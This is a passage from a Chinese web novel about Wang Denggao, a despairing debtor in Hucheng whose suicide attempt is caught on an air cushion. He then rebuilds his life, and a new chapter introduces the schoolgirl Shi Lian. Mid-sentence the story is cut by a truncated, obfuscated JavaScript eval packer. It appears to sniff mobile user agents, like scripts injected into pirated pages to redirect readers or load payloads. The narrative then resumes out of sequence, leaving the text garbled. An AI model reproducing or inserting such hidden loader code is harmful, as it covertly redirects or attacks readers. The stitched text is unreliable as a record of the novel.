那是一道他自己都瞧不见的坎儿。就算他活得再糟糕,再不像个人样儿,那道坎儿始终在那儿,挡着他,没让他丢掉作为人儿活着的最后一丝尊严。 他会去附近的野地里摘点儿菜回家,蹭上楼道里的公用灶台,煮一锅白水面吃,面里没有调料,他买不起什么调料,自个儿也尝不出什么味儿。 要么呢,他就坐在棚户狭窄的街道上发呆,从白天坐到深夜,把街上发生的一切看在眼里,繁华大都市暗藏的破败角落,光鲜亮丽城市背后的阴影,这样脏乱的地方,什么糟心事儿都可能发生。但王登高脑袋糊糊的,不管看到了啥,他都没记在心里。看了,立马就忘了。他从来不参与进去,也从来不惹事儿。有次一个小混混喝得烂醉,看见坐在路边的王登高,笑嘻嘻惹他玩儿,一口一个“窝囊废”、“流浪汉”,还想拿板砖砸他呢,结构王登高什么都没说,只是阴沉着脸起身,小混混就被他魁梧的体格吓得发抖,一板砖拍到了自个儿头上,差点儿没原地晕过去。 王登高不是没尝试过工作,他初来沪城的时候,跟着隔壁村的陆表哥去过工地,才一天,他就不行了。 他仰头一看那高高的混凝土建筑,脑袋便一阵晕眩,回想起十年前在工地看见的那一幕,罗哥被砸死在他面前的那一幕—— 是啊,都十年了,他怎么记得这么清晰呢?明明以前都快忘了,却偏偏在这时候记起来。那个恐怖的画面不断在他脑海里重复着,他只能扶着墙呕吐,用力地呕吐,吐到最后干呕都呕不出来,直接咳出了一口血。 他没法下工地,要他做别的工作,能干啥呢?是去餐厅端盘子,还是去人家小区门口当保安?其实如果真想找工作,王登高再怎么都能找到一个活路做,就算挣不了多少钱,好歹能住在正常的屋子里,吃上顿有调料的饭菜。 可他不想。 一想到自己辛辛苦苦赚来的钱,十几年——甚至几十年都不够,都还不上他欠的那些钱,说不定他辛苦一天赚来的钱,还抵不上欠款利息的增长速度,他干嘛要去累死累活地辛苦呢?他不愿意。 哈,反正最后也是一场空,还不如就这么浑浑噩噩地过着,至少醉酒然后沉沉睡去的那段时间里,他是快乐的。 就是在这样的状态下,王登高认识了王心宜。 王心宜是个很奇怪的女孩。 王登高第一次遇见她,是在一个暴雨夜,天空里轰隆隆炸着雷,闪电时不时劈开小巷里的黑暗,带来一片惊悚的白光。大雨噼里啪啦地下着,几乎快要把棚户街淹没。 王登高搭的小屋被淹了,宿醉的他没地方睡觉,只能拖着昏沉沉地身体出门逛悠。可是才逛几步他就后悔了,这雨实在太大,雨丝弄得他根本看不清路,眼睛都快睁不开。 他转身回去,想在楼道里睡觉,他正是在这时看见王心宜的。一道白花花闪电劈开黑暗,王心宜披头散发站在对面巷子角落,湿漉漉的头发盖住脸,手臂皮肤惨白惨白,一手拿着刀,另一只手臂上蜿蜒淌着血。王登高差点没被吓得心脏停跳,以为自己遇见女鬼了。 王心宜也被闪电里突然出现的他吓了一跳,差点没把刀扔出去。 在这么一个倾盆大雨的夜晚里,两人就这么莫名其妙地认识了,又莫名其妙地搞到了一起,莫名其妙地当了室友。 王登高始终不能理解王心宜的那些奇怪举动,他不理解为什么有人会大半夜走在倾盆大雨下,拿刀割自己的手臂,他不理解王心宜路过天桥时,为什么总是会望着下边车流发呆,说着“想要跳下去”这种话。 他只隐约地感觉,自己和王心宜,似乎是一类人。 王心宜从来不歇斯底里哭喊着寻死觅活,但她似乎的确没有一丝对于“生”的欲望。王登高不理解王心宜的所作所为,可他觉得自己也是一样的,他这么活着,和死了又有什么区别呢? 两个半死不活的边缘人,报团取暖般地住在了一起。 说是报团取暖,但其实他们自己都不知道,他们究竟是什么关系,总之,就这么让时间一点点流逝着吧。 他们不知道自己是从什么时候开始了解对方的,忽然有一天,王登高昏沉沉地回想着,才发现自己不知不觉已经知道王心宜过去的一切: 他知道王心宜出生于一个极其糟糕的家庭,没有父亲,母亲是个赌狗,成天混迹于酒场赌场,年纪轻轻便把自己玩儿死了。王心宜跟着外公外婆长大,后来外公外婆过世,她便一个人漂泊到沪城。 就像王心宜不知不觉知道他的所有过去,知道他父母离世,知道他有个妹妹,知道他创业失败欠了一屁股钱,灰溜溜跑来沪城躲债。他所有的不堪,她都知道。 王心宜常常骂他废物,骂他没用,每一次他都会觉得心脏的某部分被狠狠刺痛,但痛意消散后,又会蔓延一股难以言明的轻松感。是啊,他就是废物,他就是没用,反正王心宜知道他是怎样一个人,他摆烂摆得心安理得。 后来王登高明白了,王心宜在骂他,也在骂她自己。她觉得自己也是个无可救药的废物,他俩是一路人。 但他们也有不一样的地方。 王登高从来不会拿刀在自己身上乱划,就算浑浑噩噩半死不活,他也不明白伤痕带来的痛苦有什么好?所以每次看见王心宜做出这样的举动,他都会觉得匪夷所思,然后阻止她。刚开始,他还会有没注意的时候,一觉睡醒再睁眼,王心宜身上又添了新伤。要么是王心宜想方设法地激怒他,试图利用他的手,往自己身上添伤。王登高始终不能理解这样的举动,他开始循循善诱,开始时刻盯着王心宜,开始压制住自己的情绪,无论王心宜怎么骂他激怒他,他都不动怒,他甚至减少了自己宿醉的次数,后来连酒都不喝了,他怕自己一觉醒来,看见王心宜一手拿着刀,满身血迹地倒在棚屋另一侧。他盯了很长很长一段时间,保证王心宜没有再伤害过自己,再后来,不知道哪一天开始,王心宜便没有碰过刀了。 和王登高食不知味的浑噩生活不同,王心宜明明也是半死不活,明明都把自己弄得一身伤了,却还是会在难得清醒的时候,尽力把生活过得有滋有味。只要她不颓废在床上,只要她还有力气离开棚屋,她就会像一条从搁浅石滩上蹦入大江大河的鱼儿一样,自由自在、活奔乱跳地在水底畅游。她喜欢做饭,次次都做得精致又美味,就算只是一碗青菜面,也能被她做出花儿来,加煎蛋、加葱花儿、加香油、面条要选劲道的细面,香得整栋棚屋里的人流口水。她会兴致勃勃地拉着王登高出门逛街,不逛商场,不买衣服,只是沿着沪城的大街小巷走啊走,她都能觉得新奇快乐,而这份快乐,潜移默化地感染着王登高。 有些时候,王登高回忆起这些事儿,便觉得真好。 如果他们完全不一样,那么大概谁也不会理解谁,他们根本没有认识的机会。可如果他们完全一样,说不定,他俩早死在哪个没人知道的灰暗角落了。 正是因为他们一样,却又不一样,才能刚好依偎着互相取暖,补足对方心里的残缺处。 可是再怎么补足,也只是心灵上那点儿微不足道的慰藉,他们过得依旧浑噩,依旧没个人样。瘫在棚屋里混吃等死的日子,看似稳定,实则…… 不堪一击。 一个再随意不过的小插曲,便能击碎维持了两年多的稳定生活。他们现在的生活,经不起任何刺激,任何打击。 甚至……那都不能算打击。 只是忽然有一天,王心宜告诉王登高,她准备去找工作了。 王登高刚开始不以为意,这两年里,不管是他还是王心宜,都会很偶尔地出去工作一下下,挣一点点钱,总不能彻底活不下去,他俩甚至还一块儿攒了点儿钱,给王心宜买了手机。只是他们的工作都做不长久,他们没那心情,没那力气,没那精神。 听王心宜说要找工作,王登高也只是像往常一样,瘫在床上,懒散地问:“啥工作?在哪儿?多久下班,我来接你。” 王心宜以前几次找到的工作都是在饭馆打打杂,棚户街附近的饭馆,说鱼龙混杂几个字都说好听了,实际上遍地小混混,王心宜长得漂亮,不知道被骚扰过多少次。王登高去餐馆陪她,老板不乐意极了,说他长得凶神恶煞,有他在都没客人敢进门。于是王登高只在下班时等在饭馆外,可依旧挡不住那些手贱嘴贱的混混。 “不用你接,这次是去南北街商城,治安好着呢。”王心宜三两下穿上一身崭新的白衬衫,套上褐色小西装外套,迅速抚平衣服上的褶皱,埋头哒哒穿上高跟鞋。 “南北街商城?”王登高随意地抬眸看一眼,看见她穿得那么妥帖正式,小西装是他和她在二手批发市场买的,才三十元,却被她穿出了大牌的样儿。 南北街是沪城出了名的步行街,开在那儿的商城,都是些金碧辉煌的大超商。 “是啊,去卖衣服。今天只是去面试,能不能成还难说呢。”王心宜穿好鞋,准备出门。 王登高忽然意识到,她这次不是一时兴起想赚点儿钱,她是…… 真的准备出门工作了。 是那种正式的、能做很久的、体面的工作。 “面试如果成功了呢?”王登高一开口,声音就变得有点涩。 “成功还不好啊?成功就有工资拿,底薪就有三千呢!”王心宜喜滋滋的,听在那儿上班的小姐妹说,一天只要卖出一件衣服,分成就能有大几十,只要嘴巴子甜些,多哄哄哪些看衣服的小姑娘、小富婆,一个月挣五六七八千不是问题。 王心宜笑完,忽的意识到王登高情绪不对:“怎么,你还不想我出门赚钱呢?” 王登高张了张嘴,没说话。 王心宜懒得和他多掰扯,开门关门,走得潇洒。 王登高并非不想王心宜出门工作,他只是……只是觉得恐慌。 王心宜能有稳定的、光鲜亮丽的工作代表着什么?代表着,她将脱离现在的生活,离开脏污破旧的小棚屋,走向更敞亮的世界。 而他,将被遗弃在这里。 遗弃。 这词可真好,他就像一只被主人抛弃的野犬,只能惶惶地四处乱窜,夹着尾巴捡食为生。当然,王登高的文化水平是想不到这词儿的,他只是觉得恐慌,越来越恐慌。 而这种恐慌,在春天的某个夜晚骤然爆发,达到了顶点。 “怎么又欠上钱啦?出去找个活儿赶着呗,好歹把沪城新欠的这笔钱还了,别让人一天天的来敲家门。”三番五次被讨债的找上门儿后,王心宜终于受不了,戳着王登高的脑门儿。 王登高没动:“讨债的找上门也是来找我,关你什么事儿?” 王心宜有了工作,赚了钱,迟早会走的不是吗?说不定就是下个月,甚至这个月。到时候那些讨债的,再也影响不到她。 “你怎么就不跟你妹学学,像你妹那样上进上进呗。”王心宜这话一说出口就后悔了,她知道自己戳王登高心窝子了。 她可以骂他废物,骂他没用,但唯独不能提起林羽翼,这是在往他心上插刀。 或许是这几天在外工作太累了,下班回家后,王心宜实在没多余的情绪去体谅他,看着他那满不在乎的颓废样,伤人心的话就出口了。 王心宜抿抿唇,正想要转移话题,手机却响了。 好巧不巧,是林羽翼打来的。 电话里,林羽翼兴高采烈告诉她出国的事情。 王心宜没有开免提,可破旧的老手机声音很大,棚屋里又那么安静,足够王登高听得一清二楚。 “出国?奖学金?是好事儿啊!”王心宜听得喜笑颜开,忍不住朝王登高挑挑眉——看,你妹多有出息啊。 这时她没有责备的意思,只是下意识想让他也开心开心。 可王登高却不开心。 他的脸色沉得吓人,目光失了焦,本就不浓密的睫毛茫然地颤,一瞬间丢了魂儿似的。他听不下去似的,忽然起身,如一座忽然拔起的山一般,一步一步沉沉走出棚屋。 王心宜看他那失魂落魄的背影,心里有点儿慌,她知道他为什么忽然不高兴了,一同生活了这么些年,她了解他得很。 挂断电话,王心宜想去安慰他,又觉得矫情,啧,妹妹出国留学,分明是大好事儿,也就他会觉得自尊心过不去。反正这些年,他们都这么不人不鬼地过来了,王心宜最终没有追出去哄人。 她上了一天班,才到家,累得只想睡觉。 “冷了自个儿进来睡啊!”王心宜喊一声,躺床上睡得很熟。 王登高躺在天台上,一夜没有睡着。 他的大脑迷迷糊糊地转着,脑子里想些杂七杂八的糟心事儿,他在想,王心宜要离开他了,林羽翼也要出国,要走得干干净净,要彻底把他忘了。 她们都越来越好,只有他还被留在原地。 明明是好事儿,明明该为她们感到开心,他却没有一点儿开心的情绪,只觉得心里又闷,又空,还很疼。 这一晚过得无比漫长。 王登高睁着眼看着夜空,漫无边际地幻想那些糟糕的事情,耳朵却竖直了,想要听棚屋里的动静。他隐隐约约期望着,王心宜能够出来拉他一把,拉他进屋。 但王心宜睡得很沉。 王登高等到了第二天天蒙蒙亮,他听见棚屋里噼里啪啦的收拾声,知道王心宜醒了,紧接着听到开门声,他立马闭起眼睛,假装自己睡熟。 “嘭”一声。 铁门关上。 王心宜高跟鞋的声音消失在楼道那头,她没有来看他。 王登高睁眼,他的身体没动,依旧瘫着平躺,可脸上肌肉却抽搐着,想哭,又没有眼泪。 他以为王心宜不会回来了。 “起来吃饭!”没曾想过一会儿,王心宜踩着高跟鞋哒哒哒地回来,把一袋包子扔他胸口,“记得吃啊!” 说完王心宜就急匆匆走了,上班去了。 这下,她真没再回来。 王登高抱着那袋烫呼呼的包子,隐约闻到里面的肉香,再也控制不住眼泪,起身用力抓着脑袋,烫着泪。 王心宜多好啊,他都这个样子了,她还记得给他带早餐。 这么好的女孩,再过一段时间,他就再也见不到了。 就像他再也见不到妹妹一样。 …… 晚上,王心宜又丢给他一包馍馍,像是投喂流量狗似的,一句话都没说便撑着墙壁脱下高跟鞋,回棚屋里去了。今天店里生意好,她上一天班累得够呛,嗓子都哑了,半个字儿说不出,这会儿实在是太想休息了。 王登高听到棚屋里收拾的声音,不自觉地想,她在准备搬家了吧。 王登高又躺了一晚,这一晚,没等到天明,他便晃悠悠地起身,一步一步离开这里。他不知道自己要去哪儿,但是他打定主意,不会再回来了。 王登高拖着疲惫不堪的身躯,在城里晃荡一整天,从破败不堪的城中村出发,走过一栋栋古色古香的欧式洋楼,路过外滩时遥遥看了一眼最电视塔那一带繁华的地方,正午路过城隍庙时,他累了,瘫在梧桐树的阴影下大喘口气,还没来得及休息,就被穿着制服的管理员当做流浪汉赶走。 王登高脑袋空空的,什么也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他回头,看见了那张许久不见,却无比熟悉的脸,在人群中,看得无比清楚。一瞬间他脑海里闪过了很多,不自觉地想着,林羽翼似乎又长大了些,长得更漂亮了,那张脸更俊俏英气了,就连举手投足间的气质都和以前不同了。 然后他看到林羽翼脸上的泪痕,觉得如果没有他,她不会哭。她以后再也不会了。 王登高又好像什么都没想,乱糟糟的大脑忽然一片澄澈清明,脑子里只要一个字: 跳! 这声音铿锵有力,一字千钧,他身体里每一个细胞,血管里每一滴血液,一切一切,都在呐喊着:跳!跳下去吧。 他转身决绝地往下一跃。 让王登高没想到的是,林羽翼拉住了他,更让他没想到的是,林羽翼也被他的力量扯得摔出栏杆,他们齐齐跌向江面。 那一刻王登高害怕极了,可是下坠的速度太快,还由不得他思考什么,他已经跌到了气垫床上,毫发无伤,除了有些脱力。 然后,他和林羽翼一块儿被救上了岸。 林羽翼对他劈头盖脸地一顿打骂,她那点儿力度,落在他身上不疼不痒的,他却觉得自己每一寸皮肤都在疼,从外壳疼到内心深处。 王登高麻木了这么多年,这是他第一次感觉到如此深刻的疼。 和之前的钝痛不一样,这种疼时时刻刻刺着他的心,让他辗转反侧,无法安眠。以前他会用醉止痛,而现在,他光是想想买醉这事儿,心里就更疼了些。 林羽翼离开沪城的第一天,王登高沉默地在棚屋外坐了一天,清晨,他看着王心宜穿着光鲜亮丽哒哒哒急匆匆出门上班,晚上,他看着王心宜拖着疲惫的身躯,埋着头一步步走回家。 王心宜工作的南北街离这儿说近不近的,挤地铁得挤四十多分钟,王登高没挤过几次地铁,那上边人太多了,呼吸都让他觉得头晕,也不知道王心宜那小个子,每天早晚是怎么挤上车的。没记错的话,王心宜也晕地铁,有次还差点吐了。 “你啥时候搬家?” 晚上躺在吱嘎响的木板床上,王登高哑着嗓子问。 “攒够钱了就搬。”王心宜盯着破烂的天花板,盘算着,“不仅要搬家,还要买个小电驴,上班更方便一些。” 第二天,王登高和王心宜一块儿出门,他也要开始找工作了。 在沪城这种地方,随便路过一个高档点儿的小区门口,就能看见保安招聘的牌子,王登高以前去应聘过,人家说他外形条件不合格,流浪汉也能当保安呢?他便没再试过。 这一次,他先去一趟理发店,把头发脸蛋弄得干干净净,再去批发市场买套便宜的衬衫套装,一穿上,立马便精神许多。 这年头保安也得有文化,得读过中专,但人家队长见王登高长得牛高马大,虽然有些驼背,但站直了还是还挺拔,穿上制服往那儿一站,还真能当个门面。于是队长破格让他入了职,给了他一套白色制服,最开始让他别的什么也不用干,站在小区门口的保安亭外边就行。 直挺挺地站着,出国中间吃饭时间,一站就是八小时。一天下来,把王登高累得腰酸背痛。如果是前两年,他干不了一天就得辞职,但这回他坚持下来了。 光站着也不是那么回事儿,和业主们熟悉后,王登高便开始招呼着人。 ——李姐早上好,出门买菜呢? ——刘哥钓鱼去呢? ——王姐下班回来啦!辛苦辛苦! 一天到晚,嗓子都喊哑了。 再然后,帮着业主搬搬东西,帮忙把重物搬上推车,还有帮忙登记物品存放,认真看守着。王登高知道自己憨,自己没远见,也不懂什么为人处世,要是懂,他还能被骗得那么惨?所以他不搞那些油嘴滑舌的,他就只认准一个信条,那就是真诚待人,真诚对待这份工作。 哪怕它底薪只有一千五,哪怕它一眼似乎望得到头,他也要以真心对待。 王登高的真心被看见了,三个月后,他被队长转入执勤队内,再不用在大门口站岗八小时,可以在小区内晃悠了,还有个休息室,中午午休能有个小床,能吹着风扇看看书。王登高以前不看书的,现在他逼着自己看,虽然目前他看的只是一些《故事会》里的野史,或者就是没营养的成功学教程。 他盘算着,等一两年后,自己更有文化一些,妹妹也从国外回来了,他就去问林羽翼,他该读什么书。 王登高和王心宜搬出了那间小棚屋,虽然还是在棚户街,但搬进了一个独门独户的小套一,有卧室有客厅有卫生间,甚至还有个厨房和小阳台。 王心宜的小电驴也买上了,她再也不用挤地铁去上班,每天骑着小电驴吹着风,半小时就能到商场。 王登高没有想太多,也没有什么忽然间奋起觉醒的过程,只是,在经历过跳江一事后,他突然意识到,如果他再低沉下去,林羽翼会离他而去,王心宜也会。 以前他以为自己一无所有,所以他放肆地颓废。 可是……他明明还有值得去珍视的人。有他需要去守护的人。他并非一无所有。 日子算是越过越好,唯一让王登高觉得心里空落落的事情,是林羽翼联系他——或者说联系王心宜的次数越来越少,不知从什么时候开始,她不再每周和王心宜打电话诉说自己的生活,偶尔打来电话,也只是报一句平安。 她出国了吗?王登高不知道。 什么时候回国?王登高也不知道。 王心宜告诉他,按照林羽翼之前的说法,四五月份便能回国——她还得赶着五月底的毕业答辩呢,虽然王登高二人都不知道毕业答辩是什么。王登高便数着日子等,等过夏天,等过秋天,再等过寒冬,第二年五月终于到了。 林羽翼不主动联系他,王登高更不会主动联系,他心里依旧有一道坎儿,一道名为自卑的坎儿,总觉得自己拖累了妹妹,对不起妹妹,他不敢面对林羽翼。 王登高没有等到林羽翼的消息。 他等来的,是一场大地震的消息。 一场史无前例的大地震。 49.第2章 师涟从小就很懂事。 从有记忆开始,她的家庭条件就不太好,父亲四处忙碌奔波,做着些累死累活的体力活,母亲一个人在家里忙碌,照顾着她生活的方方面面,把屋子里外打理得井井有条。 后来长大了些,师涟才知道,母亲曾经也早出晚归地到镇上做活路赚钱,可是母亲一离开家,她就哭,有一次哭得嗓子都哑了,只能“嘎嘎”发出声响,母亲下班回来,听着她嘶哑的声音,心疼得直流眼泪。那之后,母亲就不出去了,专心在家照顾着她,赚钱的担子,全部压在了父亲身上。 父亲从未有过一次抱怨,相比起自己的身体,他更心疼宝贝女儿。他宁愿自己累点儿苦点儿,也要尽最大的努力,给师涟提供他所能提供的,最好的生活。 是的,师涟就是这么被父母宠大的。 两人连她哭闹都舍不得,更别说别的事儿了,家里事事以她为先,事事以她为中心,她就是这个家的支撑中心点。 师涟在父母无底线的溺爱中长大,她却没有长成一个被惯坏的坏孩子,相反,她懂事机敏,在家是爸爸妈妈的贴心棉袄,在学校是永远的三好学生,在外是“别人家的小孩”。 父母无条件的疼爱,在师涟心底种下了名为“自信”与“勇气”的种子。 她是个很自信的小孩。 从小到大,无论她做什么,都会得到父母发自内心的赞扬。无论她做什么,都能在父母脸上看到那一丝名为骄傲的情绪。 她什么都不怕,因为她知道,无论她做什么,都会有父母在身后为她撑腰,都会有父母毫无保留的支持。 可同时,师涟又是个很自卑的小孩。 师涟自小聪慧,所以从很小的时候开始,她就能听懂邻居和亲戚嘴里的那些只言片语,并且从中窥到父母曾经阔绰生活的一隅。 她听得懂村里人的嘲笑和奚落,知道“家道中落”是一件很落人舌根的坏事儿,尽管父母什么坏事都没做,他们那么好,却依旧成了村里人茶余饭后的谈资。 不止是村里人,还有父亲那边的亲戚。 父亲的亲戚都住在沿海,都是些实实在在的有钱人,偶尔过年他们心情好,会邀师涟一家前去那边过年,路费、房费,他们都给包了。他们不计较金钱上的付出,却毫不掩饰言语上的犀利。 “涟涟这孩子乖巧的哟,怎么偏偏生在你们家?” “涟涟要是我家亲闺女,哪儿用得着在川城乡下过苦日子哟。” “唉,涟涟跟着你们真是受苦咯。” 这些或有心或无意的话,一直铭刻在师涟幼小的心里。 师涟自信,所以她为人处世落落大方,与人交往也好,学校里比赛表演也好,她都从不怯场。 师涟自卑,所以她懂事敏感,她深切地知道父母不易,所以她体谅着父母,急切地想要为他们分担一二。 …… 所有人都觉得,师涟是别人家的小孩,但只有师涟自己知道,她其实…… 早已被惯坏了。 师涟心疼父母不假,她同样想要尽自己所能,快快长大,成为能够替爸妈遮风挡雨的那人,可是,从小过着衣来伸手饭来张口生活的她,实在是没法不娇气、没法不任性、没法不懒惰,她只是隐藏得好。 小学一二年级的时候,师涟就学会把学校里的作业、老师布置的任务列成一个表格,只要挨个把表上的选项打完勾,一天的事情就完成了。 再长大一些,她开始学会往表格里面循序渐进地加任务,开始学会协调自己的学习节奏,开始对学习这事儿有了明确的规划与目标。 老师夸她聪明有效率,同学们羡慕她热爱学习,可只有她自己知道,她这么做,不是因为她努力,恰恰是因为她懒得努力,所以绞尽脑汁地列表格做规划,提高自己做事儿的效率,最终完成目标。 轻而易举就能做到的事情,她干嘛要费力?至于那些需要费力的事情,比如考清北,她不会去想,也不会去做。 她只要考个还不错的大学,找个还不错的工作,就能够替父母分担许多了。是的,只需要“还不错”,她不需要做到最好。 师涟很聪明,也很早熟,用杨老师的话来说——她小小年纪就看得太透。 师涟清晰地知道自己的极限在哪里,她绝不会去做极限以外的事情,绝不会给自己定下难以达到的目标。 过于聪慧早熟,让师涟在大人眼中是“别人家的小孩”,在同龄人眼中呢?则显得太过格格不入。 从小学到初中,师涟一直没有什么朋友。 别的小朋友压根不敢靠近师涟,觉得她冷冰冰,觉得她像个大人一样,师涟自己也没交朋友的兴趣,她觉得同龄人都太幼稚。 林羽翼是个例外。 师涟第一次听到林羽翼的名字,是在初一上学期期末,镇上联考成绩出来后,班主任老师单独把她喊进办公室,给她看联考成绩排名。 师涟下意识看向名单最高处,然后,难掩诧异地挑了挑眉。 第一名不是她,而是隔壁初中一个名叫林羽翼的女孩。 “师涟,你的对手不是学校里的那些同学,是她,林羽翼。”老师笑眯眯地对她说,“要想上重高,要想从镇上走到县里、城里,你只能和她对比,只能和她竞争——哈哈,说竞争也不对,你们都是镇上的希望,要一起加油,一起走向更远的地方啊。” 唯一的对手? 师涟本该对这种幼稚的说法很是不屑,她没有回应老师说的话,只是默默点了头,可是当晚回到家里,躺在床上睡不着,望着窗外数星星时,她却忽然想起了林羽翼三个字,想起了她比她高了整整三分的联考成绩。 莫名的,师涟心里胀起一股气儿,想要和这个林羽翼好好比一比,看谁才是第一。 同时,师涟又有些好奇,林羽翼是什么样的人? 林——羽翼?像鸟儿一样骄傲肆意,昂首展翅于四海天地间?是轻啼破云的雏鸟,还是扶摇直上的大鹏? 初中的时光一点点过去,联考次数越来越多,师涟和林羽翼争第一始终争得不相上下,师涟也越来越好奇,林羽翼究竟是怎样一个人。 学习的空余时间里,师涟会看一些杂书小说,会去邻居家看电视剧,会到镇上看坝坝电影,每当她看到文艺作品中“宿命中的对手”这般描述,便会想到林羽翼。 师涟的这份好奇愈来愈浓,浓烈到,她妈妈都察觉到了。 孙香印坐在师涟身侧,和她一起埋头看林羽翼的作文,看得连连称赞:“这孩子文笔真好,真不错啊,师涟,她就住在隔壁支队村上,你有空去拜访拜访人家,交个朋友?” 师涟沉默片刻,用力摇头:“……不要。” 她不会交朋友,没有兴趣交朋友,而且……她有些紧张。总觉得上门去拜访竞争对手这种事,也太尴尬了些。 孙香印温柔笑着拍拍她的肩膀:“嗨呀,那就等你和她考上一个高中,当上同窗,迟早会认识的。” “嗯。”师涟轻声应下,她自己都没察觉到,一天天的,自己越来越期待那一天来临。 到了初中三年级,师涟明显感觉到,林羽翼的冲劲儿比之前强了许多种。四次联考,林羽翼考了三次第一,虽然每次只高师涟两三分,但依旧让她觉得牙痒痒。 可是到了初三下学期,情况忽然就反转了—— 第一次联考,林羽翼没有参考。 第二次联考,林羽翼考得一塌糊涂,排名降到了镇上十来名。这排名看着高,可镇子就那么小,生源那么差,十来名也就勉强读个普高! 第三次联考,林羽翼直接摆烂,语文作文没写,名次降到了六十来名。 师涟从孙香印那里,得知了林羽翼的情况。 “那孩子可怜啊!她爸病逝了!唉,她心里估计不好受得很。” “她妈妈走得早,她是被她爸她哥拉扯长大的,她哥你见过没?过年还给我们送过鸭子呢,是个帅气的大男孩。她爸呢?以前出过车祸,瘸了一只腿,可能就是在那时落下病根吧……” “你说说,她爸在这会儿重病过世,对她的打击得有多大啊?这孩子,命真是太苦了。” 师涟听着,心里觉得不好受极了。 中考前最后一次联考,师涟看着成绩单上,自己的名字孤零零站在最上方,心里默然地想,小说电影果然是骗人的,什么宿命中的对手?她和林羽翼这才几年呢?她们压根还……还没认识,还没见过面,或许就再也没了见面的机会。 师涟破天荒地觉得鼻头酸酸的,有点想哭。 师涟本以为自己会这样忘了林羽翼,可是中考结束,看见自己和林羽翼的成绩后,她忍不住地想——林羽翼,以后该怎么办呢? 是复读一年? 还是将就着读普高? 像她这么骄傲的女孩子,能习惯吗?能习惯复读时学校里的流言蜚语吗?能习惯留在乡下读三年普高的日子吗?她明明可以去到更远的地方。 ——尽管根本没见过面,师涟却认定了,林羽翼应该是个非常、非常骄傲的人吧。 …… 真正见面的那天,师涟才发现,林羽翼和她想象中完全不同。 她想象中的林羽翼是什么样呢?和她一样留着一头长发,扎起高马尾辫,精神气十足,站得笔挺,一双眼睛里有着睥睨天下的气势。 可实际上,林羽翼留着一头乱糟糟的短发,乍一看像是个不修边幅的小男生,一身简素的深色布衣竟然被她穿得有点脏——是明显用力洗过,却依旧洗不干净的经年累月的那种脏,可是着衣服穿在她略显单薄的身躯上,却并不显得埋汰,反而衬出几分独属于少年人的活力。师涟仿佛已经想象得到,林羽翼是怎样穿着这么一身衣服在无边田野里上蹿下跳。 林羽翼的眼睛亮闪闪的,就算在昏暗的房间里,也显得十分有神。她乖乖躲在哥哥身后,又显得怯怯的,乖巧劲儿十足,惹人怜爱得很。 哪个大人不为这样乖巧的眼神而心软?孙香印当时看着林羽翼那乖巧样儿,心都快要化了。 可师涟不是大人,她和林羽翼是同龄人。 她看着林羽翼,一眼就看出来,这人是在装乖。师涟不觉得反感,相反,她对林羽翼更好奇了些。这份好奇在她心里积累了近三年,在这一刻尽数爆发,她自己也没想到,自己竟然会主动邀请林羽翼一起学习。 这是师涟第一次和一个同龄人走得那么近,第一次和同龄人一起吃,一起住,一起学习,一起玩耍。要知道,在这之前,她妈妈心疼她的身体,连军训都没让她参加,想方设法帮她请了病假。 第一天晚上,师涟还有些害怕,怕自己会不会和林羽翼相处不习惯,但很快她就发现自己多虑了。 林羽翼看起来像是个幼稚欢脱的小太阳,和她在田里走着,还得时刻盯着她,一个不小心,她就自己钻进田埂里弄得一身脏。 师涟第一次和林羽翼到田间散步便是这样,她稍一恍神,林羽翼的身影就消失在了田埂中央。师涟焦急得四下望,终于找着人,是在荷花池的边上,林羽翼撑在田埂的泥地上,半个身子都快探入荷花池,手臂用力地往前伸,消瘦的身躯颤颤巍巍,似乎随时都可能跌进池子里,看得师涟倒吸一口凉气。 那一瞬间,师涟脑海里闪过无数“荷花池溺亡”的乡间传闻,脸色倏地惨白。 师涟还没来得及呼喊着前去把人拉起来,林羽翼便一骨碌跳起身,身影轻快朝她奔来,手里拿着个巨大的荷花叶,叶子一起一伏地随她蹦跳。 “喏,拿来遮遮太阳吧。”林羽翼笑眯眯地,把荷叶递给师涟,“你这么细皮嫩肉的,可别晒伤了。” 她的笑容很灿烂,很明媚,眼中迸发着无尽的生命活力。 师涟接过那片荷叶,握住荷叶把时,她不小心碰到了林羽翼的手,很暖很暖,不像她,一年四季手指都是冰凉的。 明明都是十四五岁的少女,林羽翼还比师涟矮一点点、纤薄一点点,可她那活力满满的身躯,却给了师涟一种可以信任的安全感。 开学第一天,师涟安静坐在座位上看书时,看似专注的她,其实感觉到了教室里男生们探究的目光——那是青春期小男孩看见陌生的、漂亮的异性时本能的探究目光,散发着他们自己都没察觉到的冒犯的侵略性。 这种目光让师涟很不舒服,但她忍了下来,装作自己什么都没察觉到。林羽翼却起身主动和她换了座位,让她坐在靠墙,林羽翼替她挡了大多数目光。 林羽翼在保护她。 师涟从未被谁“保护”过,父亲母亲对她更多是照顾和溺爱,她的自尊心不允许自己受到过多保护。但很奇怪的是,就像她不反感林羽翼装乖一样,她也不反感林羽翼对她的保护。 反而…… 有点开心。 后来,被三个小混混堵在巷子里的那一天,师涟很害怕、很无措,脑子里乱成一团,手里握紧了刚买的字典,目光望地上四处瞟,奋力寻找着地上有没有散落的砖头,心里破罐子破摔地想着,要不要拼命和他们打一架。 然后林羽翼就出现了。 林羽翼踩着巷子外斜斜洒进来的光影,如一头矫健猎豹般飞扑而至,一拳狠狠砸在领头那小混混的脸上,瘦弱的拳头砸出千钧的气势。 短短一两秒,在师涟眼里却像是慢动作般,她看见林羽翼手背上暴起的青筋,看见林羽翼瘦削胳膊上缕缕肌肉线条,看见林羽翼情绪阴沉到极致后骤然爆发的满是愤怒的目光。 最后,林羽翼重重牵住她的手,拉着她奔向巷子外的阳光。 她永远也忘不了那一天。 林羽翼没有踩着七彩祥云,可在她心里,林羽翼就是那个从天而降的盖世英雄。 再后来,真正接近了林羽翼,师涟才发现,林羽翼表面的性格和自己截然相反,内心呢?却又和自己一样的冷漠、疏离,又骄傲,甚至稍稍有些敏感自卑。 林羽翼将这份敏感藏得很好,只有把她里里外外一层一层地剥开,才能发现最里层的敏感和自卑。 这也和师涟一模一样。 